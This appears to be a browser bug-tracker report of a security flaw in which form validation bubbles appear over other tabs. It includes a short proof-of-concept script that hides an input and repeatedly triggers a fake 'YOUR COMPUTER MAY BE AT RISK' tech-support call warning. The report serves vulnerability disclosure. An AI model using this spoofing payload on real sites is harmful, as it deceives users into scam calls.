Summary: Security: Form validation bubbles allow spoofing on other tabs (was: Security: Content spoofing on any website)
Confirmed in 57.2946. This is a UX bug whereby form field validation bubbles can appear over the wrong tab.

function test(){
aaa = document.getElementById("aaa");
aaa.style.opacity = '0';
aaa.oninvalid = function (e) {
e.target.setCustomValidity("WARNING!\nYOUR COMPUTER MAY BE AT RISK.\nCALL: 800-111-2222");
};
setInterval("document.getElementById('bbb').click()",1000);
}
</script>
<form>
    <input placeholder="aaa" required id="aaa" />
    <input id='bbb' type="submit" name="submit">
</form>

Correcting the UX tags, so hopefully the Enamel team will see this.

Per Enamel folks, the Security>UX component is officially deprecated and the Team-Security-UX label should be used instead.
